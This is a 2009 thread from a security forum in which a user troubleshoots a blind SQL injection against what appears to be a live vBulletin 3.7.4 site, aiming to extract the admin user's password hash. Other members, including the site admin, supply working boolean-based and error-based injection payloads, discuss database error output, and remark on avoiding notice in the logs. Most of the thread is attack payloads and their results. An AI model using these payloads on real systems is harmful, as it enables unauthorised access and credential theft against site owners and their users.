|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Sql injection in vbulletin problem |
|
Posted: Mon Feb 16, 2009 4:04 am |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
Ok, I'm doing a blind in vbulletin and all working fine, but the problem is when i try to extract the information of the DB, all the responses i get is true :S
If i try, for example, this:
-1' AND(SELECT Count(password) FROM user)--+
I get a good response, as well if i try:
-1' AND (SELECT length(password) FROM user where userid=1) > 1
No problem too.
But now comes the problem, when i use:
-1' AND ascii(substring((SELECT password FROM user where userid=1),1,1)) < 1 or >102
I only receive true answers.
I'm almost sure that's the problem is with ascii(substring ....
What can i do? Do i have any other way? |
|
|
|
|
Posted: Mon Feb 16, 2009 5:05 am |
|
|
tehhunter |
Valuable expert |
|
|
Joined: Nov 19, 2008 |
Posts: 261 |
|
|
|
|
|
|
|
Use SQL's IF() function in the format of
IF(ASCII(SUBSTRING(password FROM 1 FOR 1))=97,1,2) |
|
|
|
|
|
|
|
|
Posted: Mon Feb 16, 2009 1:58 pm |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
Don't work too.
Sometimes i get the error too, look:
<!-- Database error in vBulletin 3.7.4: Invalid SQL: SELECT * FROM `ups` WHERE online = '1' AND hidden = '0' AND autorizado = '1' AND equipe = '1' AND `tipolink` = '-1' AND IF(SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY id DESC LIMIT 10; MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY' at line 1 Error Number : 1064 Request Date : Monday, February 16th 2009 @ 02:37:35 PM Error Date : Monday, February 16th 2009 @ 02:37:35 PM Script : http://www.site.com/forum/portal.php?page=-1%27%20AND%20IF(SELECT%20ascii(substring(password,1,1))%20FROM%20user%20WHERE%20userid=1)%3C103--+ Referrer : IP Address : ***.***.***.*** Username : Não Registrado Classname : vB_Database MySQL Version : --> |
|
|
|
|
|
|
|
|
Posted: Wed Feb 18, 2009 11:10 pm |
|
|
-AO- |
Advanced user |
|
|
Joined: Jul 15, 2008 |
Posts: 205 |
Location: United States |
|
|
|
|
|
|
Try
Code: |
ascii(lower(substring((SELECT password FROM user where userid=1),1,1)))=[#]
|
I've had cases where <> doesn't work |
|
|
|
|
Posted: Mon Mar 23, 2009 12:48 am |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
Same thing man =/
Any other idea? |
|
|
|
|
|
|
|
|
Posted: Mon Mar 23, 2009 8:29 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
delta wrote: | Don't work too.
Sometimes i get the error too, look:
<!-- Database error in vBulletin 3.7.4: Invalid SQL: SELECT * FROM `ups` WHERE online = '1' AND hidden = '0' AND autorizado = '1' AND equipe = '1' AND `tipolink` = '-1' AND IF(SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY id DESC LIMIT 10; MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)<103-- ' ORDER BY' at line 1 Error Number : 1064 Request Date : Monday, February 16th 2009 @ 02:37:35 PM Error Date : Monday, February 16th 2009 @ 02:37:35 PM Script : http://www.site.com/forum/portal.php?page=-1%27%20AND%20IF(SELECT%20ascii(substring(password,1,1))%20FROM%20user%20WHERE%20userid=1)%3C103--+ Referrer : IP Address : ***.***.***.*** Username : Não Registrado Classname : vB_Database MySQL Version : --> |
You are confusing MySql "IF" statement and "IF()" function.
From your example:
Code: |
IF(SELECT ascii(substring(password,1,1)) FROM user WHERE userid=1)
|
Instead IF() function expects 3 arguments!
http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html#function_if
Try this tests:
Code: |
-1'+AND+(SELECT+ORD(SUBSTR(password,1,1))+FROM+user+WHERE+userid%3d1)%3c103--+
-1'+OR+(SELECT+ORD(SUBSTR(password,1,1))+FROM+user+WHERE+userid%3d1)%3c103--+
|
As last resort you can use delay-based (benchmark, sleep) or error-based blind injection. First choice has poor performance, second is going to be errorlog-noisy, but they can usually save the day |
|
|
|
|
|
|
|
|
Posted: Wed Mar 25, 2009 1:16 am |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
I tried your tests, the first one(AND) only return true =/. In the other string i don't get nothing when try >103, but <103 i get a fatal error of the script:
Quote: |
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 124781824 bytes) in /home/file/domains/lol.com/public_html/forum/upsajax.php(52) : eval()'d code on line 265
|
Funny, pretty sure that's a true answer, now i'm getting the point =) |
|
|
|
|
|
|
|
|
Posted: Wed Mar 25, 2009 8:06 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
One more way to exploit blind injection is based on provoking sql errors:
Code: |
-1'+AND+IF(LENGTH(@@version)%3e1,(SELECT+1+UNION+ALL+SELECT+1),1)%3e1--+
-1'+AND+IF(LENGTH(@@version)%3e100,(SELECT+1+UNION+ALL+SELECT+1),1)%3e1--+
|
In one case you should get normal response, in other case sql error appears complaining about multiple rows
This method is useful, if sql errors can be detected and drawback is that sql errors can be logged and can trigger someone's attention. |
|
|
|
|
Posted: Wed Mar 25, 2009 3:46 pm |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
Thanks for the explanation waraxe, i appreciate your help.
You're right, i got your point.
Quote: | MySQL Error : Subquery returns more than 1 row |
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|